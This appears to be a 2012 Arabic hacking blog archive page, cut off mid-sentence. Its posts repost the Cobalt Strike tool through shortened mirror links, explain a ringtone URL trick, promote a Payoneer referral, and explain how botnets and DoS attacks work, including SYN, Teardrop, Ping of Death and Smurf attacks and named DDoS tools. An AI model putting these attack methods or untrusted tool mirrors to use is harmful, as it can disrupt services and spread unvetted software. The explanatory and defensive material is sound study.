مدونة الهكر الاخلاقي العربي

تم أطلاق سراح أداة اختبار ألاختراق الرهيبة (Cobalt Strike) علي مدونة الهكر الاخلاقي العربي

2012-10-13T22:13:00.002+00:00

السلام عليكم ورحمة الله وبركاته

موضوعنا اليوم الثاني فهو يتحدث عن الاداة الرهيبة cobalt strike

فما اجمل هذة الاداة؟

بما فيها من معلومات خطيرة عن اختبار الاختراق والحماية منة

ولكن اليوم وعلي مدونة الهكر الاخلاقي العربي سوف تتم رفع هذة الاداة لكي يتمكن الجميع من رؤيتها.

تم رفع النسخة التجربية من الاداة لكي تتوافق مع

نظامين هما( الويندوز والينوكس )

الاداة من رفعي الخاص وعلي الميديا فاير

ولكن لم تتوفر هذة النسخ الي كل بلاد العالم"

وربما تكون واجهت صعوبات في تحميلها من موقعها الرسمي"

http://www.advancedpentest.com/"

ولكن هذة الاداة ( Cobalt Strike ) سيكون اول رفعها علي المدونات العربية

لتحميل الاداة المتوافقة مع نظام الويندوز

http://q.gs/2197994/cobalt-strike

ولمعرفة كيفية تثيتها علي النظام يرجي اتباع الرابط التالي

http://www.advancedpentest.com/help-install-windows

لتحميل الاداة المتوافقة مع نظام اللينوكس

معلومة الاداة تتوافق مع كل توزيعات الباك تراك وباقي التوزيعات الاخري الخاصة بأختبار الاختراق

وانصحك بتثبيتها علي نظام اللينوكس لما تتميز من سرعة في الاداة وتجنب الاخطاء

للتحميل

http://q.gs/2197994/cobalt-1-strike

ولمعرفة كيفية تثبيتها يرجي اتباع الرابط التالي

http://www.advancedpentest.com/help-install-linux

معلومات مهمة علي اداة اختبار الاختراق Cobalt Strike

تتطلب أداة الكوبالت استرايك البرامج التالية:

1: Rapid7's ****************sploit® Framework 4.4.0

2:Oracle's Java 1.7 (32-bit)

متتطلباة التشغيل

2 GHz+ processor
2 GB RAM
500MB+ available disk space

وايضا تدعم الظامين التالين

BackTrack Linux 5r3 - x86 and x86_64
Ubuntu Linux 10.04 - x86 and x86_64

وايضا تدعم الانظمة الأتية

Windows XP, Windows 2003, Windows 2008 Server, Windows Vista, and Windows 7

MacOS X 10.6 or above

الي هنا تأتي نهاية الموضوع"

وان شاء الله سوف يكون موضوعي القادم "

عن كيفية استهداف الاجهزة وكيفية اختبار الاختراق بهذة الاداة الرهيبة"

وسوف اضع شروحات صوت وصورة عن كيفية الاختراق بها "

والي ما يمكن ان تفعلة هذة الاداة الرهيبة"

اتمني ان تكونوا استمتعتم بالموضوع"

واي سؤال او استفسار انا موجود ان شاء الله"

وكم اتمني ان تقدرو مجهودي وتعبي علي المعلومات الأتية
لكي تكون اول مدونة عربية تتحدث عن هذة الأداة الرهيبة

www.afinis.co.cc : المصدر

تمتع باي رنة موسيقية من القناة الثانية مجانا

2012-10-02T11:57:00.000+00:00

السلام عليكم ورحمة الله تعالى وبركاته في هذه الحلقة انشاء الله ساتطرق الى طريقة جميلة وهي كيفية تحميل الاغاني او المقاطع الموسيقية التي نراها في القناة الثانية (2M)
وهذه الاغاني او المقاطع الموسيقية يمكننا تحميلها مجانا من على الانترنيت
وللقيام بهذه العملية نتبع الخطوات التالية

اولا:الدخول على هذا الرابط

من هنا

http://content.jetmultimedia.ma/2m/G1.mp3

كما ترون اخر الرابط توجد G3.MP3

هذا بمثابة مثال فقط اذا كنت تريد اختيار رنة ما عليك الاَّ تغير (G3.MP3) بحرف رنتك المفضلة

وبهذا اتمنى ان اكون اني قد قدمت درس في المستوى الى القاء في درس اخر انشاء الله

www.afinis.co.cc : المصدر

هارفرد + معهد ماسوشيتس للتكنولوجيا = #edX

2012-09-28T11:31:00.002+01:00

فرحت كثيرا و أنا أسمع عن القرار بالموافقة على إنشاء جامعة إليكترونية سعودية تنضم لقافلة الجامعات السعودية ,, لكن تذكرت ( و أنا احمل كل التقدير للأكاديميين بالسعودية ) أن تجربة التعليم العالي خصوصا الإليكتروني لدينا تخطو خطوات – أراها – غير متزنة . فقررت التريث بالحكم حتى ارى واقعها لنحكم .

حتى ذلك الوقت أشارككم مبادرة هارفرد و معهد ماسوشيتس للتكنولوجيا و إطلاقهم اليوم لمبادرة edX التعليمة و يمكن وصفها بإنها المنصة التعليمة الإليكترونية الأقوى عالميا . كيف حكمنا عليها .. لنعد خطوات قليلة للوراء

الشهر أكتوبر , العام 2002 معهد ماسوشيتس للتكنولوجيا يطبق مبادرة المقررات المفتوحة المصدر ( أي أنه فتح مقرراته ذات الجودة العالية للمجتمع عبر الإنترنت ) . انطلقت بعدها عدة جامعات و فتحت مصادرها للمجتمع عبر الويب .

تعلن أبل في العام 2007 عن ItunesU الجزء المخصص لنشر المحتوى الجامعي عبر أجهزتها المختلفة .

وقبلها بعام أطلق سلمان خان أكاديميته عبر اليبوتويب لتصبح من اكثر المواقع التعليمية غير الربحية

و مع أنتشار الشبكات الإجتماعية أصبح التعلم الإلكتروني أكثر ( تفاعلا ) و اخذ ينحني نحو التفاعل الإجتماعي .

هنا أنطلقت منصة edX التعليمية التي ستنطلق مبدئيا كمنظومتين مختلفتين و هما MITx و Harvardx لتتنتقل لاحقا تحت منظومة edX . ستشكل هذه المنصة نقلة نوعية في التعلم الإليكتروني كما ذكرت التقارير من مواقع تلك الجامعات

هناك للحظة مقرر واحد و قد انظم له أكثر من 120ألف مستخدم هذه السنة ( تحت براند MITx)

عموما هذه الخطوة يمكن وصفها إبداعا ثوريا في مجال التعلم لعدة أسباب : ستمنح الفرصة لراغبي التعلم ممكن لا تهمهم الشهادات بقدر ما يهمهم الحصول على المعلومة للإستفادة منها مباشرة . ثانيا خدمة مجانية من اعرق جامعات العالم , إنتهاء عصر إحتكار المعلومة داخل ( أروقة الجامعات ) و نشرها لأكبر عدد ممكن .

من الأخر :

أخي القارئ , تعلم لغة إنجليزية , وثق تماما أنك ستجد محتوي تعليمي متميز بانتظارك ليطور إمكانياتك . انتظارك للجامعات و المعاهد السعودية ( وربما العربية) لتقديم إبتكارات مماثلة سيطول . أو سينتهي بك الأمر تبحث في منتديات تعب قلبي عن مواد تعليمية .

موقع المبادرة : http://www.edxonline.org/

www.afinis.co.cc : المصدر

الطريقة الصحيحة لطلب Payoneer Mastercard و أحصل على 25$ هدية + طريقة تفعيل Paypal

2012-09-22T13:05:00.000+01:00

The Payoneer Affiliate

كثير منكم يعانون من مشكلة عدم الاستفادة من بطاقة Payoneer وبالأخص عند طلبها من odesk أو ال Elanc وذلك لأنها تشترط عدم امكانية شحنها الا عن طريق الموقع المستخرج منه.أما الأن مع Payoneer Mastercard يمكنك استقبال وارسال اموالك بكل حرية

مميزات بطاقة The Payoneer Affiliate1-) الحصول على $ 25 كهدية بعد تسجيلك و استلامك لبطاقة The payoneer Affiliate

2-) عمولتها قليلة نوعا ما فبمقارنتها مع نظريتها من البطاقات الاخرى نجد أنه لا تحتاج سوى 29$ فقط ولا يتم خصمهم الا كل سنة - أما بالنسبة للأوديسك ونظيراتها سنجد أن الرسوم السنوية باهظة للغاية وهي 9$ رسوم تفعيل + 39$ رسوم سنوية !!!!

3-) دعمها لجميع الدول العربية فهي تدعم أكثر من 210 بلد حول العالم !

4-) لا يكتب على الوجه الامامي للبطاقة odesk فهي جميلة جدا + مطابقة تماما لأي Mastercard أصلية

5-) لا يوجد رسوم على تغيير رقم الصراف الالي

6-) امكانية التسوق بها محليا بدون أي قيود ومن غير أي فوائد حيث Free-Purchases

7-) تفعيل paypal بكل سهولة اونلاين , أو أي بنك الكتروني اخر Moneybookers , Payza ...

8-) الشراء بسهولة من الانترنت - مستحيل يتم رفضها من أي موقع فهي تابعة لشركة ماستركارد العالمية

9-) سقف البطاقة 5000 دولار يوميا - يعني تشتري بها يوميا ب 2500$ - تسحب من الصراف يوميا 2500$

10-) متابعة جميع الحوالات اونلاين وبدون أي تأخير - سريعة الشحن مقارنتا مع البطاقات الاخرى

11-) رسوم السحب من الصراف الالي هي 3.15$

12-) رسوم الاستعلام عن الرصيد 1$ في الصراف الالي

13-) مجانية والجميع يمكنه الحصول عليها بشرط أن يكون 18+

ماذا تنتظر أخي فهي مناسبة للجميع

أولا : انقر على الرابط أدناه :

اضغط هنا للتسجيل

ثانيا : تعبئة البيانات كما في الصورة :

ملاحظة : البيانات التي قمت بادخلالها في الأعلى مهمة لأن العنوان الدي كتبته هو الذي ستستقبل عليه بطاقتك Payoneer لذا احرص على أن تكون بيناتك دقيقة.ثالثا : أكمل البيانات كما في الصورة :

ملاحظة : البيانات التي قمت بوضعها في الأعلى مهمة جدا فهي سوف تمكنك من الاطلاع على بيانات رصيدك والحوالات المالية + تفعيل بطاقتك اونلاين.رابعا : اكمال بيانات الهوية الوطنية كما في الصورة :

ملاحظة : يجب أن تتطابق أرقام بطاقتك الوطنية ( أو جواز سفرك ) مع بطاقتك الوطنية ( أو جواز سفرك الحقيقي ) الحقيقية والا لن يتم قبول طلبك.

الان سيقومون بارسال رابط التحميل الى الايميل الخاص بك لرفع صورة لبطاقتك الوطنية ( أو جواز سفرك الحقيقي )

الايميل كالتالي :

عنوان الايميل : Message from Payoneer’s Account Approval Department‏

محتوها

كود:

Dear alaa ,

Payoneer's Account Approval Department is requesting a copy of a valid  government issued photo ID document, so that we can process your card  application. Acceptable forms of ID include driver's license, passport,  national ID, and military ID.

Please make sure the ID matches the details provided on your Payoneer  card application and that the document is clear, and has your name and  your date of birth displayed clearly. Documents that are difficult to  read can cause further delays, so please enlarge and lighten copies when  you scan, for clear viewing.

You can scan your ID (we prefer a jpeg file) and upload it automatically  to your account for us to review by using the link below:

Upload link

Or if you prefer, you can attach the file in reply to this e-mail.  Please note that documents uploaded using the upload link above are  reviewed more quickly than replies by e-mail.

Need more help? Please reply to this message, contact us using our  Payoneer Contact Form , and/or chat live with us Sunday-Friday, 9:00 AM -  6:00 PM (EST

اذا وصلتك هذه الرسالة كل ما عليك فعله هو الضغط على كلمة "Upload link" وتزويدهم ببطاقتك الوطنية أو جواز سفرك أو أي وثيقة أخرى مقبولة

بعد ذلك سيتم توجيهك الى رابط الرفع

وعند تزويدهم بتلك الوثيقة عليك الانتظار من 1-3 أيام(تعتمد على مدى وضوح بطاقتك الوطنية-الجودة) بعد ذلك انشاء الله ستصلك رسالة تخبرك بأنهم قد تم الموافقة على طلبك وشحن بطاقتك وتزويدك بوقت وصولها كالاتي :
عنوان الرسالة: "Your PayoneerPrepaid Prepaid debit MasterCard card has been approved!‏"

المحتوى:

كود:

Dear Alaa ,

Congratulations!

Your Payoneer Prepaid Debit MasterCard® card order has been approved!

The estimated arrival date for your card is 10 Jul 2012

There are 3 steps to be completed:

Step 1: Registration » Completed!

Step 2: Approval » Completed!

Step 3: Delivery » You are here!
The estimated arrival date for your card is 10 Jul 2012

وما عليك بعد ذلك الا انتظار وصولها بسلام

كيفية تفعيل حسابك Paypal عن طريق Payoneer Mastercard
بسهولة ومجانا !!!

أولا: ادخل الى حسابك payoneer

وانقر على (Services - US Payment Service)

وننزل الى اخر الصفحة ونضغط على الزر الاخضر "Active"

ثم ادخل إلى حسابك Paypal وقم باضافة الحساب البنكي كما في الصورة :

وبعد ذلك ننتظر الرقمين الذي سيرسلهم Paypal الى حسابك Payoneer

ثم قم باخال الرقمين في حسابك Paypal كما في الصورة :

ومبرووك عليك حساب Paypal مفعل

www.afinis.co.cc : المصدر

تعرف على بوت نت واحمي نفسك من ايدز الحاسوب

2012-09-19T23:25:00.001+01:00

شبكة الروبوت ( بوتنت Botnet ) هل تتخيل أنك جزء من شبكة لاختراق و تعطيل المواقع دون أن تعلم؟ أو أنك قد تتهم بسرقة حساب شخص دون أن يكون لك أي علاقة بذلك؟

هذا في الواقع ما يعرف بالبوتنت (Botnet)، و وهي مجموعة ضخمة (يبلغ تعدادها بالآلاف و قد يصل للملايين) من الأجهزة التي تم اختراقها عن طريق الإنترنت كل واحد منها يسمي بوت تخدم مكون البوتنت أو ما يسمى بسيد البوت (Bot Master). يستخدم سيد البوت قناة أوامر وتحكم (Command and Control Channel C&C) لإدارة شبكته و تنفيذ هجماته، و تسمية البوتنت هذه مشتقة من كلمة (Robot Network) أي شبكات الروبوت حيث أن الأجهزة تخدم سيد البوت دون اختيارها, تمامًا مثل أجهزة الروبوت. و بمجرد أن ينضم الجهاز لشبكة الروبوت فإن سيد البوت يستطيع التجسس على صاحب الجهاز دون أن يشعر بذلك. و لا يتوقف ضرر البوتنت على الأشخاص فقط، فالبوتنت أحد أهم و أخطر المشاكل الأمنية التي تواجه الشركات – و الدول أحيانـًا- و أبرز مثال لذلك الهجوم الذي وقع على دولة إستونيا عام 2007، حيث تعطلت مواقع الوزارات و الشركات لثلاث أسابيع!

مخاطر هذه الشبكات، وأنواع الهجوم الذي قد تقوم به

[عدل]التجسس و سرقة معلومات السرية:

يقوم سيد البوت هنا بالتجسس على الضحية، فباستطاعته مثلا أن يعرف رقم أي بطاقة ائتمانية يقوم بإدخالها، و هذا ليس كل شيء، بل يمكن أن يأمر جهاز الضحية بإرسال المعلومات التي يرغب في الحصول عليها، أو حتى أن يغير الرقم السري للجهاز، و الملفت للنظر أن سيد البوت يستطيع الاطلاع بشكل تام على ما يفعله الضحية، و أخذ صور له و لما يعرض على جهازه، و هو ما يحصل عادة في الابتزاز

[عدل]حجب الخدمة الموزعة:

هي ما تعرف بهجمات (DDoS: Distributed Denial-of-service)، و هذا النوع من الهجمات هو ما يجعل سيد البوت حريصًا على جمع أكبر عدد من الأجهزة في شبكته. في هذا الهجوم يأمر سيد البوت الأجهزة التابعة له بإرسال قدر كبير من المعلومات إلى الجهة المستهدفة (خادم لموقع إنترنت)، فمثلا تستطيع شبكة روبوت مكونة من ألف بوت أن تنتج 250 ميجا بت في الثانية من المعلومات، بحيث تمتلئ ذاكرة الجهاز المستهدف فتحجب الخدمة التي يقدمها الموقع و لا يستطيع المستخدم العادي الوصول إليه، و من الأمثلة الشهيرة على هذه الهجمات ما تقوم به مجموعة القرصنة المعروفة بأنونيمس (Anonymous) و هجماتهم المتكررة على المواقع

[عدل]إرسال رسائل مزعجة (Spam):

هي رسائل قد تظهر على أنها من أشخاص، ولكنها في حقيقة الأمر إما أن تكون دعاية أو محاولة لأخذ معلومات شخصية، و هي أيضًا وسيلة رئيسية لإضافة المزيد من الأجهزة لشبكة الروبوت.

[عدل]كيفية تكوين شبكة الروبوت العملاقة

تجميع الأجهزة و تكوين الشبكة: هناك عدة طرق لضم الأجهزة إلى شبكة الروبوت يمكن أن نقسمها إلى مباشرة وغير مباشرة. الطريقة المباشرة تكون بإرسال رسائل قصيرة لمعرفة إذا ما كان هناك ثغرة يمكن استغلالها للسيطرة على الجهاز وهو ما يعرف بـ (Scanning) ومن ثم تحميل برامج التحكم. والغير مباشرة تكون عن طريق استدراج الضحية لتحميل فايروس أو برامج خبيثة بالضغط على رابط وضعه سيد البوت، و رسائل البريد المزعجة (Spam) تعتبر أشهر مثال على هذه الطريقة. ومن الطريف في الأمر أن سيد البوت قد يبيع الأجهزة التابعة له في السوق السوداء، فيعطي المشتري كلمة السر للتحكم بهذه الأجهزة، و لا تدري قد يكون جهازك يباع و يشترى و أنت لا تعلم.

[عدل]طرق عمل شبكة الروبوت

تقسم طريقة عمل البوتنت بشكل عام إلى طريقتين رئيسيتين:

[عدل]الطريقة المركزية (Centralized):

و هي تعتبر طريقة قديمة نوعاً ما، حيث يستعمل سيد البوت جهاز خادم (Server C&C) لإرسال أوامره لأجهزة البوت عن طريق بروتوكول IRC (Internet Relay Chat) بشكل عام، كما يوضح الشكل1 : الشكل 1 : الطريقة المركزية (Centralized) لعمل شبكة الروبوت.

[عدل]طريقة الند للند(P2P: Peer-to-Peer):

و هنا لا يوجد خادم (C&C server)، حيث يقوم السيد بإرسال الأمر لعدد قليل من الأجهزة، و يقوم كل جهاز من البوت بإرسال الأمر إلى أجهزة أخرى ضمن الشبكة، هذه العملية تبطئ تواصل سيد البوت مع أجهزته و لكن تصعب عملية اكتشافه ، و تم هنا استبدال بروتوكول IRC ببروتوكولات أخرى مثل HTTP و ICMP (Internet Control Message Protocol) كما يوضح الشكل 2: الشكل 2 :طريقة الند للند (P2P).

[عدل]كيف تحمي نفسك؟

كما ذكرنا سابقا أن هناك طرق مباشرة وغير مباشرة لضم الأجهزة إلى شبكة الروبوت، فلمنع الطريقة المباشرة ينصح بتحميل جدار حماية (Firewall)، والذي يمنع عمليات المسح (Scanning) التي يقوم بها مكون البوت. ولمنع العمليات الغير مباشرة ينصح بتحميل برامج حماية من الفيروسات مع خاصية التحديث التلقائي.

[عدل]المراجع

www.afinis.co.cc : المصدر

هجمات الحرمان من الخدمات

2012-09-19T22:54:00.003+01:00

هجمات الحرمان من الخدمات (بالإنجليزية: Denial of Service Attacks)

أكدت العديد من التقارير تزايد عدد الهجمات من خلال الشبكة (الإنترنت) وازدياد شدتها وتأثيرها التدميري عاماً بعد الآخر وتأثيرها على مبيعات المواقع والخدمات عبر الشبكة. ويرجع ذلك إلى عدة أسباب من أخطرها ما يعرف بـ"هجمات الحرمان من الخدمات" أو "هجمات حجب الخدمة" (Denial of Service Attacks) ملاحظة (DoS) هنا لا نقصد بها نظام التشغيل المشهور ولكنها اختصار للعبارة Denial-of-Service وهي تعني حجب أو منع الخدمة.

ماذا يقصد بهجمات الحرمان من الخدمات (DOS Attacks)

هي هجمات تتم عن طريق إغراق المواقع بسيل من البيانات غير اللازمة يتم إرسالها عن طريق أجهزة مصابة ببرامج(في هذه الحالة تسمى DDOS Attacks)تعمل نشر هذ الهجمات بحيث يتحكم فيها القراصنة والعابثين الإلكترونيين لمهاجمة الشبكة (الإنترنت)عن بعد بإرسال تلك البيانات إلى المواقع بشكل كثيف مما يسبب بطء الخدمات أو زحاماً مرورياً بهذه المواقع ويسبب صعوبة وصول المستخدمين لها نظراً لهذا الزحام, خصوصاً وأنه يبدو، وباعتراف الكثير من خبراء الأمن على الشبكة، وكأنه لا يوجد علاج في الوقت الحالي لهذا الأسلوب في الهجوم على مواقع الشبكة (الإنترنت)، وعلى هذا الأساس فإن هذا النوع من الهجمات يُدعى في بعض الأوساط "بإيدز الإنترنت".ويتم هذا الهجوم بدون كسر ملفات كلمات السر أو سرقة البيانات السرية، هجمات حجب الخدمة تتم ببساطه بان يقوم المهاجم بإطلاق أحد البرامج التي تزحم المرور للموقع الخاص بك وبالتالي تمنع أي مستخدم آخر من الوصول إليه. وبشكل عام تتواجد مثل هذه الهجمات منذ أعوام إلا أن قوتها الآن أصبحت أكبر من أي فترة مضت، كما أنها وصلت إلى مرحلة من النضج بحيث تستهدف أهدافًا محددة ومقصودة لأغراض تجارية. هذا وتذكر شركة سمانتك المتخصصة في الأمن الإلكتروني أن متوسط عدد هجمات الحرمان من الخدمة وصل إلى 927 هجمة في النصف الأول من عام 2004 بزيادة قدرها 679% عنها في النصف الثاني من عام 2004.

ما هي هجمات الحرمان من الخدمات؟

هجمات الحرمان من الخدمات كأسلوب ليست حديثة، ولكن الشبكة جعلتها فتاكة. ومبدأ هذا الأسلوب بسيط ويتلخص في أن المهاجم يقوم بإغراق الأجهزة المزودة بسيل من الطلبات والأوامر التي تفوق قدرة الجهاز المزود على المعالجة. ومن الأمثلة الظريفة والبسيطة على هذا الأسلوب هو مواصلة الضغط على زر الإدخال ENTER على مطراف (Terminal) لم تقم بعد بتسجيل الدخول إلى الشبكة Log In ولكنها مرتبطة بنوع معين من الأجهزة الإيوانية أو محطات العمل. والسبب في أن هذا الأسلوب يمكن أن يُصنف ضمن أساليب هجمات الحرمان من الخدمات هو أن زر الإدخال يقوم في معظم الأحيان ببدء روتين للتعرف على الأداة ضمن نظام التشغيل، وهو روتين ذو أولوية تنفيذ عالية عادة. وبمواصلة الضغط على هذا الزر يتولد طلب مرتفع على عملية المعالجة اللازمة للتعرف على الأداة (لوحة المفاتيح في هذه الحال)، مما يؤدي إلى استهلاك 100% من طاقة المعالج وجعله غير قادر على تلقي طلبات معالجة إضافية. ويؤدي ذلك إلى إحداث شلل في نظام التشغيل والذي لا يمتلك عادة الذكاء ليميز بين طلبات الدخول الشرعية، وطلبات الدخول المؤذية. وفي هذه الحالة لا توجد ميكانيكية يمكن بها الاستجابة لهذا الهجوم. ومن الأساليب الأخرى لهذا النوع من الهجوم هو استهداف الموارد الثابتة الأخرى في البنية التحتية، ومن الأمثلة على ذلك هجمات الإغراق SYN. فضمن جلسات الشبكة (الإنترنت)الاعتيادية تتم عملية أشبه بالمصافحة بين النظم، حيث يقوم أحد النظم بإصدار طلب للارتباط بنظام آخر باستخدام حزمة SYN (المزامنة). ويقوم النظام المضيف في هذه الحالة بإصدار حزمة SYN-ACK، والتي يستجيب فيها للطلب الوارد من عنوان IP معين، ويقوم بتسجيل هذا العنوان في جدول معين، وتحديد فترة معينة لقطع الاتصال إذا لم تحدث الاستجابة لهذه الحزمة، والتي يجب أن تكون على شكل حزمة ACK يصدرها النظام الأول. وفي هجمات الإغراق، يقوم المهاجم بإرسال أكبر كمية ممكنة من حزم SYN باستخدام عناوين IP مزيفة، ويقوم النظام المضيف بتسجيل ردود حزم SYN-ACK في الجدول، والتي تبقى هناك لأن المهاجم لا يقوم بإرسال حزم ACK المطلوبة، مما يؤدي إلى امتلاء الجدول بالطلبات وعدم قدرته على تلقي أية طلبات اتصال جديدة. ورغم الأذى الذي قد يلحقه هذا النوع من الهجمات فإن العلاج يكمن في خطوتين؛ الأولى هي زيادة حجم الجدول الذي يتلقى طلبات الاتصال، والثانية-وهي خطوة ملازمة للأولى-التقليل من الوقت المطلوب للاستجابة لطلبات الاتصال وذلك لحذف المدخلات غير المستخدمة بشكل أسرع. وهنالك نوع آخر من هجمات الحرمان من الخدمات، حيث يستخدم المهاجم برنامجا يقوم بتجربة الدخول إلى حسابات المستخدمين ضمن خدمة معينة من خلال تجربة كافة أسماء المستخدمين، واستعمال كلمات سر خاطئة، عمدا. وعند استخدام هذه البرمجيات فإن بعض المزودات، إذا لم يكن هنالك تأخير معين بين محاولات الدخول، تقوم بمنع المستخدمين الشرعيين من النفاذ إلى النظام. وهنالك أيضا أسلوب آخر من الهجمات يدعى "الحزم الدامعة Teardrop" حيث يرسل المهاجم حزما مشوهة بحيث يؤدي إلى انهيار عمليات معالجة عناوين IP على الجهاز المزود. وبالمثل، فهنالك أسلوب إغراق عملية المعالجة نفسها في نظام التشغيل من خلال إرسال أوامر معالجة أو إدخال طويلة (أكثر طولا مما يسمح به نظام التشغيل أو التطبيق) Buffer Overflow، لا تقوم عمليات معالجة المدخلات ضمن نظام التشغيل بصدّها (وهي الثغرة التي استغلها واضعو فيروس الشيفرة الحمراء Code Red في مخدمات مايكروسوفت ونظم تشغيلها) مما يؤدي إلى انهيار النظام.

أنواع (طرق) هجمات الحرمان من الخدمة

هجمات Ping Of Death و Teardrop

هناك ثلاثة أنواع من هجمات حجب الخدمة (denial-of-service attack) :

الهجمات التي تستغل خطأ برمجي Bug في بناء TCP/IP

الهجمات التي تستغل تقصير في مواصفات TCP/IP

الهجمات التي تعيق المرور في شبكتك حتى لا تستطيع أي بيانات ان تصل إليها أو تغادرها.

و الهجمتان المميتتان المشهوران بينج الموت Ping Of Death والهجمه الدمعة Teardrop، يصنفان مع النوع الأول.فهجمه Ping Of Death تستخدم أي برنامج Ping لتخلق حزمه IP تتعدى الحد الأقصي (65536 بايت) من البانات المسموح بها لحزمة IP.و تلك الحزمة بإرسالها إلى اي نظام من الممكن لهذا النظام ان ينهار أو يتوقف عن العمل أو يعيد التشغيل من تلقاء نفسه. وتلك الهجمة ليست بجديده وكل منتجي أنظمة التشغيل قاموا بعلاجها. أما عن الهجمه Teardrop فهي تستغل ضعف في إعادة تجميع اجزاء حزمة ال IP. خلال رحلتها في الشبكة (الأنترنت)،تقسم حزمة ال IP إلى اجزاء اصغر.و كل جزء يبدوا مثل الحزمه الأصلية ما عدا أنه يحتوي على حقل يقول -كمثال- "هذا الجزء يحمل البايتات من 600 إلى 800 من الحزمة الأصلية غير المجزئه". هجمة Teardrop تخلق حزمة IP مجزئة ولكنها متداخلة Overlapped في محتويات حقل تعريف هذا الجزء. وعندما يتم تجميع تلك الحزمه من جديد بعض الأنظمة قد تنهار وبعضها يتوقف عن العمل وبعضها قد يعيد تشغيلة من تلقاء نفسه.

هجمات SYN

الضعف في مواصفات ال TCP/IP تجعله عرضة لهجمات SYN التي تنفذ أثناء المصافحة الثلاثية(Three way handshake) والتي تتم بين تطبيقين لبدء الاتصال بينهما.في الظروف العادية التطبيق الذي يبدأ الاتصال (المرسل) يرسل حزمة TCP-SYN إلى التطبيق المستقبل. والمستقبل يرد بإرسال حزمة TCP-SYN-ACK بعلم وصول الحزمة الأولى وعندئذ يرسل التطبيق (المرسل) حزمة ACK بعلم الوصول وعندئذ يبدأ التطبيقان في تبادل البيانات فيما بينهما.

. و لكن هجمة SYN تغرق flood الهدف بسلسلة من حزم TCP-SYN.كل حزمة تؤدي بالهدف إلى تجهيز استجابة SYN-ACK. وبينما الهدف ينتظر المصافحة الثالثة ACK ،يقوم بوضع كل حزم SYN-ACK المنتظرة دورها في الإرسال في طابور queue يسمى طابور المتراكمات backlog queue.و هذا الطابور له سعة محددة والتي هي غالبا صغيرة إلى حد ما.و بمجرد أن يمتلئ هذا الطابور ،سيتجاهل النظام كل طلبات SYN الواردة. SYN-ACK تغادر الطابور فقط عندما يتم الرد ب ACK أو ينهي العداد الداخلي (والذي يجهز للعد لفترة طويلة نسبيا) المصافحة الثلاثية. و هجمة SYN تخلق كل حزمة SYN بعنوان IP مزيف للمرسل.و كل الاستجابات من الهدف ترسل إلى ذلك العنوان المزيف والذي يكون إما غير موجود في الأساس أو لنظام لا يعمل حاليا وبالتالي فان جزمة ACK التي تلى حزمة SYN-ACK لن تصل إلى الهدف ابدا.و هذا يؤدي إلى امتلاء طابور المتراكمات على الدوام فيجعل من المستحيل تقريبا على أي مستخدم الوصول إلى هذا النظام. منتجي حوائط النيران Firewalls مثل Checkpoint و Cisco و Raptor قاموا يإضافة ميزات في منتجاتهم لتزودك بدورع ضد هجمات SYN.و بالإضافة إلى ذلك يجب على حائط النيران الخاص بك التأكد من أن الحزم الصادرة من شبكتك تحتوي على عنوان IP مصدره سليم، والذي هو أحد عناوين شبكتك الداخلية، وبالتالي لن يتم تزيف عنوان IP المصدر من داخل شبكتك.

هجمة إغراق UDP

أغراق UDP أو User Datagram Protocol flood أيضا تتم بربط نظامين ببعض. بالخداع Spoofing ،هجمة إغراق UDP تتم بالسيطرة على خدمة charger لأحد النظامين ،و تلك الخدمة لأغراض اختبارية تقوم بتوليد سلسلة من الحروف Characters لكل حزمة تستقبلها ،مع خدمة الصدى UDP echo للنظام الاخر، والتي تردد كالصدى كل حرف تستقبله كمحاولة لاختيار برامج الشبكه.و نتيجة لهذا الربط يتم تبادل سيل لا يتوقف من البيانات العقيمة بين النظامين. و لكي تمنع هجمة إغراق UDP ،يمكنك اما ان توقف عمل كل خدمات UDP لكل جهاز على شبكتك ،أو من الأسهل أن تعد حائط النيران Firewall الخاص بك لتنقية كل طلبات UDP. وبما أن UDP صمم لعمل التشخيصات الداخلية ،يمكنك غالبا الاستمرار بتجاهل طلبات UDP من مجتمع الإنترنت.و لكنك لو حجبت كل خدمات UDP ،ستصد بالتالي بعض التطبيقات الجيدة والمعتمده على UDP مثل RealAudio.

الهجمات الموزعة

ومع ظهور الشبكة (الإنترنت)، أصبحت هجمات الحرمان من الخدمات أكثر إثارة بالنسبة للهكرة، حيث أصبح بالإمكان استغلال أكثر من جهاز على الشبكة (بشكل شرعي أو غير شرعي) للهجوم على موقع معين أو مزوّد معين، باستخدام ما أصبح يدعى بهجوم السنافر Smurf Attack (نسبة للمسلسل الكرتوني الشهير). وفي هذا النوع من الهجمات، يقوم المعتدون باستغلال ميزة خطيرة في الشبكات التي تعتمد بروتوكول IP-وهي عنوان البث broadcast address؛ ففي الأحوال الاعتيادية يتم إرسال طلب إلى الشبكة (مثلا باستخدام أمر ping) من خلال عنوان البث، مما يؤدي إلى إعادة إنتاج وإرسال هذا الطلب إلى كل عنوان IP على تلك الشبكة، وعندئذ يمكن لجميع النظم الموجودة على الشبكة أن تقوم بإرسال المعلومات المناسبة إلى مصدر أمر ping. وفي حالة هجمات السنافر يحدث الحرمان من الخدمات باستخدام عناوين رأسية IP مزيفة وجعلها تقوم بإرسال أمر ping إلى عنوان البث لشبكة كبيرة، ومن ثم إعادة توجيه الإجابات إلى نظام ثالث، وهو نظام الضحية. وفي هذه الحالة يتعرض الضحية بسهولة إلى الإغراق من قبل بيانات مزيفة تعترض سبيل بياناته الحقيقية. وفي عالم إنترنت اليوم تحدث هجمات الحرمان من الخدمات باستخدام أدوات وأساليب أكثر قدرة على التدمير من الأساليب القديمة، حيث يقوم الهكرة باستخدام أدوات تقوم بفحص النظم غير المحمية، ومن ثم تثبيت برامج (تُدعى بالزومبي-أو الأموات الأحياء، إشارة إلى جهل المستخدم بأنه قد تم اختراق نظامه)، وهذه الزومبي تقوم بالإنصات إلى أوامر معينة ومُشفرة من برامج رئيسة MASTER يسيطر عليها الهكرة الذين يخططون لبدء الهجوم. وفي مرحلة معينة يقوم البرنامج الرئيس بإرسال الأوامر إلى الزومبي، والتي تتكون من عنوان IP الذي سيتم الهجوم عليه، وتحديد أسلوب الهجوم الذي يجب أن يتم استخدامه. وبما أن البرنامج الرئيس يمكنه أن يسيطر بسهولة على مئات أو ألوف الزومبي، فإن النظام المستهدف لا يجدا مخرجا من الركوع في النهاية، حيث أن مثل هذه الهجمات يمكن لها بسهولة أن تستنزف كافة المصادر المتاحة للأجهزة المزودة التي تتعرض للهجمات. ومن أدوات هجمات الحرمان المستخدمة اليوم هناك trin00، و tfn، وبرنامج Stacheldart، و TFN2K، و Shaft، و Trinity، والكثير غيرها. ولمعرفة المزيد عن هذه البرمجيات يمكن الرجوع إلى مصدر ممتاز على 